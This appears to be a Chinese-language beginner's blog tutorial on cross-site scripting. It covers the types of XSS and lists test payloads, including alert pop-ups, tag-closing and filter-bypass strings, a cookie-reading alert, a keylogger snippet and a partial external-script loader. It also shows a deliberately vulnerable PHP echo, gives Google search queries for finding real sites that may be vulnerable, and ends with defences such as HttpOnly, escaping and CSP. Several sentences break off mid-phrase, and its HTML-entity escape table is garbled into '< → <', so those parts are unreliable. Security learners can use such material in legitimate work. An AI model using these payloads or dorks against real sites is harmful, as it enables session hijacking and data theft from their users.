2026-07-16 02:59:12
XSS(跨站脚本攻击)是一种通过在网页中注入恶意脚本,篡改页面内容或窃取用户数据的攻击方式,攻击者利用用户浏览器执行恶意代码,实现钓鱼、劫持会话等恶意行为。
一、XSS的分类与原理反射型XSS
通过构造含恶意脚本的URL(如
攻击代码仅在用户点击链接时临时执行,服务器未存储恶意内容。
典型场景:搜索页面、错误提示页等未对输入过滤的场景。
存储型XSS
恶意脚本被永久存储在服务器数据库中(如评论、用户资料),所有访问该页面的用户均会触发攻击。
危害性:持久化存在,影响范围广。
典型场景:论坛、社交平台的留言板或个人资料页。
DOM型XSS
通过修改页面DOM结构触发攻击,无需服务器返回恶意代码。
示例:攻击者构造URL
特点:属于反射型XSS的变种,但利用客户端脚本处理漏洞。

基础Payload测试
弹窗验证:<script>alert('xss')</script>
绕过过滤:"><script>alert('xss')</script>(闭合HTML标签)
事件触发:<img src=0 onerror=alert(1)>(利用图片加载失败事件)
高级攻击场景
窃取Cookie:
<script>alert(document.cookie)</script><img src=0 onerror=alert(document.cookie)>键盘记录:
<script>document.onkeydown = function(e) { alert("按键码: " + e.keyCode);};</script>加载外部脚本:
<img src=x onerror=appendChild(createElement('script')).src='
搭建测试环境
使用本地服务器(如Python的http.server)或在线平台(如DVWA、XSS-Game)模拟漏洞环境。
示例:创建一个接收name参数的HTML页面:
<input type="text" value="<?php echo $_GET['name']; ?>">输入"><script>alert(1)</script>即可触发XSS。学习基础Payload
从简单弹窗开始,逐步尝试图片事件、SVG注入等变种。
使用开发者工具(F12)观察页面DOM结构,理解脚本执行位置。
实践绕过技巧
大小写混淆:<ScRiPt>alert(1)</ScRiPt>
双写绕过:<sc<script>ript>alert(1)</script>(若过滤器删除<script>)
编码绕过:URL编码(%3Cscript%3E)、HTML实体编码(<script>)。
参与CTF挑战
通过CTFtime或在线平台(如Hack The Box)练习XSS题目,积累实战经验。
HttpOnly Cookie
在设置Cookie时添加HttpOnly标志,禁止JavaScript访问(如Set-Cookie: id=123; HttpOnly)。
输入过滤(白名单)
仅允许特定字符(如字母、数字),拒绝<, >, &等危险字符。
示例正则表达式:/^[a-zA-Z0-9]+$/。
输出转义
将特殊字符转换为HTML实体:
< → <
> → >
& → &
使用库函数(如PHP的htmlspecialchars())自动处理。
CSP(内容安全策略)
通过HTTP头限制脚本加载来源:
Content-Security-Policy: default-src 'self'; script-src 'self'谷歌搜索语法
搜索可能存在XSS的参数:
inurl:"id=" intext:"<script>"inurl:"search.php?q="自动化工具
使用Burp Suite的Intruder模块批量测试参数,或通过XSSer、BeEF等框架辅助攻击。
关注特殊字符
参数中包含%、中文或换行符(%0a)的URL更可能存在过滤漏洞。
总结:XSS的核心是“信任用户输入”,防御需从输入过滤、输出转义、安全策略三方面入手。初学者应通过实践理解攻击原理,再逐步学习防御技巧,最终形成安全开发思维。